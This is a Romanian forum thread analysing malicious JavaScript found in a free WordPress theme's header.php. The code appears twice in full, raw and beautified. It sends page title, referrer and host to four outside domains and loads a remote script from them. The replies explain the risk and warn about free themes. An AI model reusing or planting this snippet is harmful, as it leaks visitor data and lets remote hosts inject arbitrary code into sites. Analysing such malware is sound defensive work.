Code Malicious Decode virus wordpress theme nanula.it

[AlexH]

Cine poate decoda acest code pentru a vedea ce anume incarca sau face?
A fost gasit de @yepuras acum cateva minute intr-o tema in fisierul header.php. Site-ul se incarca foarte greu si primea notificare de kill de la browser.

 <!-- :### -->
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://nanula.it/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://huipoder.dax.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://klingenberg.it/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://aloeva.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
</head>

http://jsbeautifier.org/

 <!-- :### -->
< script >
     var a = '';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nanula.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '') {
     document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
} < /script> < script >
     var a = '';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://huipoder.dax.ru/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '') {
     document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
} < /script> < script >
     var a = '';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://klingenberg.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '') {
     document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
} < /script> < script >
     var a = '';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://aloeva.ru/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '') {
     document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
} < /script> < /head>

 

[Ovidiu Bokar]

Scriptul este un pic inteligent. La prima impresie am crezut ca face load la jQuery script dar pe urma am observat cateva lucruri. Un fisier de jQuery nu isi face call tot la 10 secunde

setTimeout(10);

, deasemena nu ai nevoie de 4 fisiere de jQuery intro pagina web.

Scriptul, la incarcarea pagini si pe urma tot la 10 secunde isi trimite informatii despre websiteul care foloseste templateul, exemplu: Titlul paginii pe care esti, linkul de la siteul care foloseste tema si referrer. Faptul ca se incarca greu este din cauza ca serverele ownerului (cel care a facut templateul) nu poate face fata la numarul mare de informatii trimise, in plus, daca codurile de JS, respective sunt adaugate in headerul templateului pagina nu isi poate afisa contentul pana cand serverulere ownerului raspund cu date ceea ce insearma ca daca el isi inchide serverele nici unul din utilizatorii templateului nu va functiona pana nu se scoate scripturile respsctive din header.

Sper ca nu am complicat explicatia!

 

[AlexH]

Poate fi considerat mailicios acest code, poate aduce daune la blogul pe care este gasit?
Si la ce are nevoie autorul la tema de aceste date si la un interval asa de scurt?
Poate incarca ceva prin acest code la userul care viziteaza site-ul pe care se gaseste sau poate citi info din browser la user, etc?

 

[Ovidiu Bokar]

Poate fi considerat mailicios acest code, poate aduce daune la blogul pe care este gasit?
Poate incarca ceva prin acest code la userul care viziteaza site-ul pe care se gaseste sau poate citi info din browser la user, etc?

Raspunsul este da, din pacate. Daca el decide sa va puna in pagina orice tip de script sau sa iti adauge reclame proprii, o poate face linistit.

Si la ce are nevoie autorul la tema de aceste date si la un interval asa de scurt?

La interval asa scurt nu il ajuta cu nimic, dar in schimb poate prelua tot felul de informatii.

 

[AlexH]

Tema in care s-a gasit codul de mai sus este aceasta:

http://themezee.com/themes/leeway/

Acest topic ar trebuie sa fie un semnal de alarma pentru toti care folosesc theme gratis luate de pe net. In sursa autorul poate scrie orice. Acum 2 ani parca am scris cum poti ascunde 3 linii de code in function.php care iti permite sa ai acces la tot serverul, nu numai la blog.